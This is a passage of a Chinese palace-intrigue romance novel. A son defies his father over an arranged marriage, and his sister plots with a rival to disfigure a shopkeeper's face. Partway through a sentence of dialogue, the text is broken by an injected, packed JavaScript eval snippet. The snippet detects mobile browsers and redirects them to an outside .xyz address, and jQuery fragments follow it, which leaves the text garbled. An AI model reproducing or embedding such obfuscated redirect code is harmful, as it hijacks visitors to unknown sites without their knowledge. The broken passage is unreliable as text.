当晚,项辰川带着云舟回了项府。大管家张全贵依然立在垂花门边恭敬候着,能不恭敬吗?老爷的姨娘虽不计其数,却只有少爷这个独苗儿子,项辰川可是项府唯一的继承人,张全贵自然得巴结好了。
张全贵见项辰川进入项府,躬身行礼道:“少爷,老爷夫人已在正厅等您用膳。”
“好。”项辰川微微颔首,大步向正厅走去。
正厅里,饭菜已经摆上了桌,其他三位主子已落座。项桓坐在主座上眉头紧锁,似有烦心事。蒋氏见项辰川进厅,忙露出喜色起身招呼道:“辰川你可回来了,你父亲等你多时了。”
项辰川没理会蒋氏,径直走到项桓面前行了一礼,“父亲,儿子给您请安。”
“嗯。”看到多日不见的儿子瘦了,项桓脸色稍缓了些,“最近衙署公务可繁忙?”
“回父亲,衙署公务一向繁忙,所以不能常回府敬孝,还望父亲原谅。”
项桓点点头,说道:“坐下吃饭吧!一会儿我与你母亲有事和你说。”
“是。”
一家子开始吃饭,蒋氏依旧让大丫环巧兰在项辰川身边伺候,巧兰自除夕那晚算计项辰川失败后一直心怀畏惧,她小心翼翼给项辰川布菜,忽听蒋氏道:“巧兰,辰川喜欢吃熏鱼,你给他多夹一些。”
巧兰知道项辰川最不喜欢吃的就是熏鱼,可夫人每次都让她夹。她硬着头皮去夹熏鱼,却听以往一直沉默的项辰川这回说道:“不必了,我从小就不喜欢吃熏鱼。”
“呵呵,这…这样啊!”蒋氏也没料到项辰川会怼得这么直白,只能打圆场道:“辰川,你以往也不说,我还以为你喜欢吃呢!”
项辰川冷笑一声,“我小时候就说过多次,只不过你假装不记得罢了。还有,以后别让你这个丫环在我跟前晃,我看着恶心。”
屋子里的气氛因为项辰川的一句话瞬间尴尬到了极点,巧云更是羞得满脸通红,恨不得跑出去跳湖自尽。项桓“啪”地一声放下筷子,喝道:“好了,吃个饭还不安生,都别说了。”
项府的主子们因心中不快,这顿晚膳草草结束。丫环们撤掉碗盘,换上清茶,又端了些糕点摆上桌。蒋氏找了个由头把项辰茜打发走后,项桓轻啜了一口茶,开始说正事。
“辰川,你今年也二十有二,京城官家子弟像你这个年纪的几乎都已成亲,我和你母亲颇为着急。昨日你母亲给你托人说了礼部江侍郎家的六姑娘,虽是个庶出,但为人温婉贤惠,柔顺静娴。”
坐在项桓身侧的蒋氏频频点头,并帮腔道:“是呀!这江家六小姐我见过,是个知礼数的,和你年纪相当,不如择日去相看一二如何?”
年纪相当还是个庶女,项辰川当然明白对方是个什么样的女子,若真是个好的,蒋氏能说给自己?项辰川心底嘲讽,面上却恭敬道:“多谢父亲为儿子的亲事操心,但儿子还不想成亲。”
项桓听了这话将手中的茶盏重重磕在桌上,加上今日项辰茜在他面前说的事,立刻沉下脸问道:“辰川,你是不是养了个外室?”
项辰川心下了然,项桓这是知道他和余初音街头吃饭的事了,便道:“父亲,她不是外室,她是我想迎娶之人,但现在时机还未成熟,来日我必定三媒六聘迎她上门。”
“胡闹!”项桓刚才只是心里不悦,这回是彻底怒了,他厉声道:“咱们项府虽不是皇亲国戚,但在大晟也是有头有脸的门户,虽不能如沐太师的孙子般娶个郡主,但好歹也得找个官宦千金,你现在要娶个市井女子成何体统?”
“我自有打算,父亲您自不必操心!”项辰川耐着性子冷冷说道。
“你…你这个逆子,你心里还有项府吗?还有我父亲吗?”
又是这一句,每次项府正厅不管说什么事,说来说去最后项桓总是会甩出这句话,项辰川呼出一口浊气,也甩出标准答案:“儿子心中一直有父亲,只是父亲莫要被奸人蒙蔽才好。”
说完项辰川起身冷冷离开正厅,身后传来项桓拍桌子喝骂声。云舟见项辰川出了正厅,忙迎上前问道:“少爷,您今晚歇在府里吗?”
“不了,我回衙署,府里若有什么事,你可以直接衙署找我。另有个事,七月初凝香阁将售买新品胭脂,好像叫什么‘绯樱脂’,只有七月初前三日限量售卖,届时我可能不在京城,你去帮我跑一趟。”
“好的,少爷。”云舟点头应道。
项辰茜如愿进入了古茶诗社。第一次去诗社她特意打扮了一番,自认为绮丽的妆扮却被同去诗社的上官雪欣狠狠地奚落了。
诗社门前,上官雪欣面露讥讽,对着她上上下下打量:“哟~见你这身打扮,我还以为走错了地呢!原来我没走错,错的是你,你这装扮应该去秦楼楚馆不是吗?”
项辰茜气恼想怼回去,但想起蒋氏的警告,又想到上次上官雪欣被自己暗算的事,心气便消了下去,她只是翻了个白眼便走开了。
上官雪欣有些诧异,问身边的江诗悦道:“这还是我们认识的项辰茜吗?”
江诗悦挽着她的胳膊道:“好啦~雪欣妹妹,我们快进去吧!”
古茶诗社逢五聚会,项辰茜入社后的一个月里,一次不落的都去了。为了搏个好名声,她装出谦逊有礼,为人和善的样子。有几次上官雪欣故意奚落她,她都忍了。上官雪欣碰了几回软钉子,觉得没趣,便不再针对她。
这日诗社聚会,上官雪欣没来,只有江诗悦一人前来。江诗悦走到项辰茜身边坐下,友好说道:“茜儿妹妹,我能和你做朋友吗?”
项辰茜不相信江诗悦真想和她做朋友,带着防备的眼神问道:“你这话什么意思?”
江诗悦脸上依旧挂着笑容,但语气已冷了几分,“我知道你对沐子岚的心思,我可以帮你达成心愿,我们合作如何?”
项辰茜迟疑片刻,理智告诉她不能和江诗悦合作,但最终欲望占了上风,她道:“如何合作?”
“你哥哥现在是不是与一小娘子交好?只要你帮我弄烂贱人的脸,作为交换我可以让郡主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827494|172986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和沐子岚解除婚约。”
项辰茜讥讽道:“看不出来啊,原来你对我哥哥有意思?往日还那般虚情假意帮郡主出谋划策。”
江诗悦回道:“彼此彼此,花宴那次我和郡主被黄蜂袭击是你干的吧?我都看见你躲在树后了,只是你不知道,那次救郡主的是沐子岚,而且现在他们的关系眼见着越来越好,你可要抓紧了哟!”
这话让项辰茜心底防线全面崩塌,她毫不犹豫点头道:“好,我们合作!只是我该如何弄烂她的脸?”
江诗悦嗤笑一声,“那是你该考虑的事,你派人做也好,自己做也好都与我无关,我只看结果。”
项辰茜正苦恼怎么弄烂余初音的脸时,丫环向她禀报凝香阁正在限量出售新品胭脂。凝香阁是京城最好的胭脂铺,售卖的胭脂袭承宫廷秘方,以天然鲜花熏染、冰麝定香工艺制成,而新品胭脂更是一物难求,每日只卖五十份,引得铺子前排起长龙。
一听凝香阁发售新品,项辰茜急忙命丫环去买。一个时辰后,丫环委屈巴巴回来,说没买到,但看到府里的云舟排在最前头,应该是买着了。
项辰茜听后便往紫云院去,既然云舟买着了,抢过来便是,结果走到半路,她顿住了步子。跟在身后的小丫环不解,正欲开口问,却听她家小姐道:“去,你现在去买点朱砂回来。”
七月初七,乞巧节,也是传说中牛郎织女相会的日子,这一日大晟京城有放花灯的习俗。七月初六这天,书铺掌柜杨书羽纠结半日终于鼓足勇气,踏入余初音的铺子。
余初音见杨书羽进来,寒暄道:“杨掌柜,生意不错吧!我看你铺子里这几日挤满了人。”
“这不下个月秋闱了,考生们要买课业,所以客人多了些。”杨书羽点头解释,吱唔了半天又道:“余娘子,你…你明晚有空吗?”
余初音一怔,“明晚,应该没什么事吧,怎么啦?”
“若是有空,我想约你去护城河放花灯。”杨书羽说完耳根微微泛红。
余初音又是一怔,“放花灯?就我们俩吗?”
“呃…也可以带上樱桃。”杨书羽心里其实只想和余初音单独相处。
看着杨书羽的情神,余初音再后知后觉也明白他是什么意思了,于是婉言回绝道:“我突然想起有点事,要不改天吧?”
其实余初音明晚是没有安排的,因为项辰川不在京城,五日前出城办事去了。只不过杨书羽的神情里透出的目的过于明显,所以余初音觉得还是有必要和他保持距离。
“哦。”杨书羽也意识到余初音的话是推脱之词,神色尴尬说了几句客套话便讪讪回了书铺。这一个月,他看到那个冷面官爷经常来铺子找余初,两人有说有笑关系似乎很好。他在心里懊丧自己的怯懦,要是早些向余初音表明心意,今晚是不是就不会被拒绝?
七月初七这日,项辰茜一大早遣丫环给江诗悦传口信,说事已办妥,又问江诗悦何时能兑现交换的事。江诗悦展眉一笑,“等着吧!今晚即可办成。”